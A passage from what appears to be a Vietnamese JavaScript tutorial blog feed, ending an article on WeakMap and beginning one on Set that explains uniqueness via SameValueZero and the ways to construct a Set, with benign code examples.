punctuation">(</span>obj<span class="token punctuation">)</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// nếu chưa có thì tính toán để ra kết quả</span> <span class="token keyword">let</span> result <span class="token operator">=</span> <span class="token comment">/* tính toán để ra kết quả với obj */</span> obj<span class="token punctuation">;</span> <span class="token comment">// lưu lại kết quả vào cache với key là obj và value là result</span> cache<span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span>obj<span class="token punctuation">,</span> result<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">// trả về kết quả ứng với key là obj trong cache</span> <span class="token keyword">return</span> cache<span class="token punctuation">.</span><span class="token function">get</span><span class="token punctuation">(</span>obj<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Khi đó, nếu <code>obj</code> bị gán bằng <code>null</code> thì không còn cách nào để truy cập vào object trong <code>cache</code>, nên object đó sẽ bị giải phóng.</p> <h2 id="tổng-kết" style="position:relative;"><a href="#t%E1%BB%95ng-k%E1%BA%BFt" aria-label="tổng kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Tổng kết</h2> <p>WeakMap trong JavaScript tương tự như Map, cho phép lưu trữ dữ liệu theo kiểu <code>key-value</code>. Tuy nhiên, WeakMap chỉ chấp nhận object làm key.</p> <p>Và khi object bị hủy, object tương ứng trong WeakMap sẽ bị giải phóng vì không còn cách nào để truy cập vào object đó nữa.</p> <p>Các phương thức của WeakMap là:</p> <ul> <li><code>weakMap.set(key, value)</code>: lưu giá trị <code>value</code> vào thuộc tính <code>key</code> và trả về chính WeakMap.</li> <li><code>weakMap.get(key)</code>: trả về giá trị của thuộc tính <code>key</code>, nếu <code>key</code> không tồn tại thì trả về <code>undefined</code>.</li> <li><code>weakMap.delete(key)</code>: xóa thuộc tính <code>key</code> trong WeakMap, nếu <code>key</code> tồn tại thì trả về <code>true</code>, ngược lại thì trả về <code>false</code>.</li> <li><code>weakMap.has(key)</code>: trả về <code>true</code> nếu <code>key</code> tồn tại trong <code>weakMap</code>, ngược lại thì trả về <code>false</code>.</li> </ul> <p>WeakMap không phải iterable object nên không có cách nào để duyệt hết các phần tử trong WeakMap (như cách dùng <code>for...of</code> với Map).</p> <p>Tham khảo:</p> <ul> <li><a href="https://javascript.info/weakmap-weakset">WeakMap and WeakSet</a></li> <li><a href="https://www.mattzeunert.com/2017/01/31/weak-maps.html">Difference between Map and WeakMap in JavaScript</a></li> <li><a href="http://qnimate.com/difference-between-map-and-weakmap-in-javascript/">Difference between "Map" and "WeakMap" in JavaScript</a></li> <li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/WeakMap">WeakMap</a></li> </ul>[email protected]<![CDATA[Bạn biết gì về Set trong JavaScript?]]><![CDATA[Mình đã tìm hiểu về Map trong JavaScript rồi. Bài viết này mình tiếp tục tìm hiểu về một loại object đặc biệt nữa. Đó là Set trong Javascript Set trong JavaScript là gì? Set trong…]]>https://completejavascript.com/ban-biet-gi-ve-set-trong-javascript/https://completejavascript.com/ban-biet-gi-ve-set-trong-javascript/<![CDATA[ES6]]><![CDATA[Kiểu dữ liệu]]><![CDATA[Set]]>Tue, 06 Jun 2017 22:30:00 GMT<p>Mình đã tìm hiểu về <a href="/map-trong-javascript-thi-sao/">Map</a> trong JavaScript rồi. Bài viết này mình tiếp tục tìm hiểu về một loại <strong>object đặc biệt</strong> nữa. Đó là Set trong Javascript</p> <h2 id="set-trong-javascript-là-gì" style="position:relative;"><a href="#set-trong-javascript-l%C3%A0-g%C3%AC" aria-label="set trong javascript là gì permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Set trong JavaScript là gì?</h2> <p><strong>Set trong Javascript</strong> là một loại <a href="/object-la-gi-object-trong-javascript/">object</a> cho phép bạn lưu trữ dữ liệu một cách duy nhất, không trùng lặp.</p> <p>Có 2 điều bạn cần chú ý ở đây.</p> <h3 id="set-là-một-loại-object" style="position:relative;"><a href="#set-l%C3%A0-m%E1%BB%99t-lo%E1%BA%A1i-object" aria-label="set là một loại object permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Set là một loại object</h3> <p>Vì vậy mà <code>typeof set</code> sẽ trả về string <code>object</code>.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> set1 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Set</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token keyword">typeof</span> set1<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// object</span></code></pre></div> <h3 id="dữ-liệu-trong-set-là-duy-nhất-không-trùng-lặp" style="position:relative;"><a href="#d%E1%BB%AF-li%E1%BB%87u-trong-set-l%C3%A0-duy-nh%E1%BA%A5t-kh%C3%B4ng-tr%C3%B9ng-l%E1%BA%B7p" aria-label="dữ liệu trong set là duy nhất không trùng lặp permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Dữ liệu trong Set là duy nhất, không trùng lặp</h3> <p>Hiểu thế nào là <strong>duy nhất, không trùng lặp</strong>?</p> <p>Đơn giản là "giá trị" của các phần tử không được giống nhau. Thực chất, Set sử dụng thuật toán <a href="https://tc39.github.io/ecma262/#sec-samevaluezero">SameValueZero</a> để so sánh giá trị của các phần tử.</p> <blockquote> <p>Thuật toán <strong>SameValueZero</strong> tương tự như việc sử dụng toán tử so sánh bằng nghiêm ngặt <code>===</code> để so sánh giá trị. Chỉ khác ở chỗ thuật toán này coi <code>NaN</code> là giống nhau (mặc dù <code>NaN !== NaN</code> là <code>true</code>).</p> </blockquote> <p>Vì vậy, điều mình nói ở trên chỉ đúng với <a href="/kieu-du-lieu-trong-javascript/">number và string</a>, còn đối với object thì khác. Bởi 2 object nhìn giống nhau nhưng rõ ràng chúng không bằng nhau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> obj1 <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">y</span><span class="token operator">:</span> <span class="token number">2</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token keyword">const</span> obj2 <span class="token operator">=</span> <span class="token punctuation">{</span> <span class="token literal-property property">x</span><span class="token operator">:</span> <span class="token number">1</span><span class="token punctuation">,</span> <span class="token literal-property property">y</span><span class="token operator">:</span> <span class="token number">2</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>obj1 <span class="token operator">===</span> obj2<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// false</span> <span class="token keyword">const</span> set1 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Set</span><span class="token punctuation">(</span><span class="token punctuation">[</span>obj1<span class="token punctuation">,</span> obj2<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>set1<span class="token punctuation">.</span>size<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 2</span></code></pre></div> <p>Ngoài ra, bạn cũng có thể lưu <code>NaN</code> và <code>undefined</code> vào Set trong JavaScript.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> set2 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Set</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token number">NaN</span><span class="token punctuation">,</span> <span class="token keyword">undefined</span><span class="token punctuation">,</span> <span class="token number">NaN</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>set2<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Set(2) {NaN, undefined}</span></code></pre></div> <p>Đọc đến đây chắc bạn đã hiểu cơ bản về Set rồi phải không?</p> <p>Sau đây là những thứ bạn có thể làm với Set trong JavaScript.</p> <h2 id="khởi-tạo-set-trong-javascript" style="position:relative;"><a href="#kh%E1%BB%9Fi-t%E1%BA%A1o-set-trong-javascript" aria-label="khởi tạo set trong javascript permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Khởi tạo Set trong JavaScript</h2> <p>Khởi tạo Set là điều đầu tiên bạn cần làm nếu muốn sử dụng Set. Cú pháp khởi tạo Set trong Javascript là:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">new</span> <span class="token class-name">Set</span><span class="token punctuation">(</span><span class="token punctuation">[</span>iterable<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Trong đó:</p> <ul> <li>Tham số <a href="/iterable-la-gi-iterable-trong-javascript/">iterable</a> là không bắt buộc. Nếu bạn <strong>không truyền tham số</strong> vào hàm khởi tạo thì Set sẽ rỗng - không có phần tử nào.</li> <li>Ngược lại, nếu bạn truyền vào một iterable object thì <strong>tất cả các phần tử</strong> của object sẽ được thêm vào Set.</li> </ul> <blockquote> <p><strong>Chú ý:</strong> bạn có thể truyền vào <strong>iterable object</strong>, chứ không chỉ có array (vì array chỉ là một loại iterable object).</p> </blockquote> <p>Sau đây là các ví dụ khởi tạo Set trong JavaScript.</p> <h3 id="khởi-tạo-set-rỗng" style="position:relative;"><a href="#kh%E1%BB%9Fi-t%E1%BA%A1o-set-r%E1%BB%97ng" aria-label="khởi tạo set rỗng permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Khởi tạo Set rỗng</h3> <p>Khởi tạo Set rỗng bằng cách không truyền tham số vào hàm khởi tạo.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> set1 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Set</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>set1<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Set(0) {}</span></code></pre></div> <h3 id="khởi-tạo-set-từ-array" style="position:relative;"><a href="#kh%E1%BB%9Fi-t%E1%BA%A1o-set-t%E1%BB%AB-array" aria-label="khởi tạo set từ array permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Khởi tạo Set từ Array</h3> <p>Array là một loại iterable object.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> set2 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Set</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">,</span> <span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token string">"b"</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>set2<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Set(4) {1, 2, "a", "b"}</span></code></pre></div> <h3 id="khởi-tạo-set-từ-string" style="position:relative;"><a href="#kh%E1%BB%9Fi-t%E1%BA%A1o-set-t%E1%BB%AB-string" aria-label="khởi tạo set từ string permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Khởi tạo Set từ String</h3> <p>String cũng là một loại iterable object.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> set3 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Set</span><span class="token punctuation">(</span><span class="token string">"abcba"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>set3<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Set(3) {"a", "b", "c"}</span></code></pre></div> <h3 id="khởi-tạo-set-từ-arguments" style="position:relative;"><a href="#kh%E1%BB%9Fi-t%E1%BA%A1o-set-t%E1%BB%AB-arguments" aria-label="khởi tạo set từ arguments permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Khởi tạo Set từ arguments</h3> <p>Đối tượng <a href="/object-la-gi-object-trong-javascript/#%C4%91%E1%BB%91i-t%C6%B0%E1%BB%A3ng-arguments"><code>arguments</code></a> là đối tượng có sẵn trong hàm, dùng để lưu trữ mảng các tham số truyền vào.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">func4</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">const</span> set4 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Set</span><span class="token punctuation">(</span>arguments<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>set4<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">func4</span><span class="token punctuation">(</span><span class="token string">"a"</span><span class="token punctuation">,</span> <span class="token string">"b"</span><span class="token punctuation">,</span> <span class="token string">"c"</span><span class="token punctuation">,</span> <span class="token string">"b"</span><span class="token punctuation">,</span> <span class="token number">0</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Set(5) {"a", "b", "c", 0, 1}</span></code></pre></div> <h3 id="khởi-tạo-set-từ-nodelist" style="position:relative;"><a href="#kh%E1%BB%9Fi-t%E1%BA%A1o-set-t%E1%BB%AB-nodelist" aria-label="khởi tạo set từ nodelist permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Khởi tạo Set từ NodeList</h3> <p>Kết quả của các phương thức liên quan đến <code>DOM</code> khi thao tác với trình duyệt như: <a href="https://developer.mozilla.org/en-US/docs/Web/API/Document/querySelectorAll">document.querySelectorAll()</a>, <a href="https://developer.mozilla.org/en-US/docs/Web/API/Document/getElementsByClassName">document.getElementsByClassName()</a>,... đều trả về <code>NodeList</code>.</p> <p>Ví dụ:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// tìm tất cả các phần tử với thẻ head</span> <span class="token keyword">const</span> head <span class="token operator">=</span> document<span class="token punctuation">.</span><span class="token function">querySelectorAll</span><span class="token punctuation">(</span><span class="token string">"head"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">const</span> set1 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Set</span><span class="token punctuation">(</span>head<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>set1<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Set(1) {head}</span></code></pre></div> <h3 id="khởi-tạo-set-từ-typedarray" style="position:relative;"><a href="#kh%E1%BB%9Fi-t%E1%BA%A1o-set-t%E1%BB%AB-typedarray" aria-label="khởi tạo set từ typedarray permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Khởi tạo Set từ TypedArray</h3> <p><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/TypedArray">TypedArray</a> là một kiểu object tương tự như Array. Và bạn cũng có thể sử dụng <strong>TypedArray</strong> để khởi tạo Set như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> typedArray1 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Int8Array</span><span class="token punctuation">(</span><span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span> typedArray1<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">12</span><span class="token punctuation">;</span> typedArray1<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">34</span><span class="token punctuation">;</span> <span class="token keyword">const</span> set1 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Set</span><span class="token punctuation">(</span>typedArray1<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>set1<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Set(2) {12, 34}</span></code></pre></div> <h3 id="khởi-tạo-set-từ-map" style="position:relative;"><a href="#kh%E1%BB%9Fi-t%E1%BA%A1o-set-t%E1%BB%AB-map" aria-label="khởi tạo set từ map permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Khởi tạo Set từ Map</h3> <p>Bạn có thể khởi tạo Set từ Map như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> map1 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Map</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> map1<span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span><span class="token string">"one"</span><span class="token punctuation">,</span> <span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> map1<span class="token punctuation">.</span><span class="token function">set</span><span class="token punctuation">(</span><span class="token string">"two"</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">const</span> set1 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Set</span><span class="token punctuation">(</span>map1<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>set1<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Set(2) {Array(2), Array(2)}</span> <span class="token keyword">for</span> <span class="token punctuation">(</span><span class="token keyword">const</span> x <span class="token keyword">of</span> set1<span class="token punctuation">)</span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>x<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token comment">/* * ["one", 1] * ["two", 2] */</span></code></pre></div> <h3 id="khởi-tạo-set-từ-set" style="position:relative;"><a href="#kh%E1%BB%9Fi-t%E1%BA%A1o-set-t%E1%BB%AB-set" aria-label="khởi tạo set từ set permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Khởi tạo Set từ Set</h3> <p>Bạn cũng có thể khởi tạo Set từ một Set khác.</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> set1 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Set</span><span class="token punctuation">(</span><span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">,</span> <span class="token number">2</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">const</span> set2 <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Set</span><span class="token punctuation">(</span>set1<span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>set2<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Set(2) {1, 2}</span></code></pre></div> <p>Trên đây là một số cách để khởi tạo Set trong JavaScript. Tiếp theo đây là cách để thêm phần tử vào Set.</p> <h2 id="thêm-phần-tử-vào-set" style="position:relative;"><a href="#th%C3%AAm-ph%E1%BA%A7n-t%E1%BB%AD-v%C3%A0o-set" aria-label="thêm phần tử vào set permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Thêm phần tử vào Set</h2> <p>Để thêm phần tử vào Set trong JavaScript, bạn có thể sử dụng phương thức <code>add</code> như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js">set<span class="token punctuation">.</span><span class="token function">add</span><span class="token punctuation">(</span>value<span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Trong đó:</p> <ul> <li>Nếu Set không có phần tử <code>value</code> thì phương thức <code>set.add(value)</code> sẽ thêm 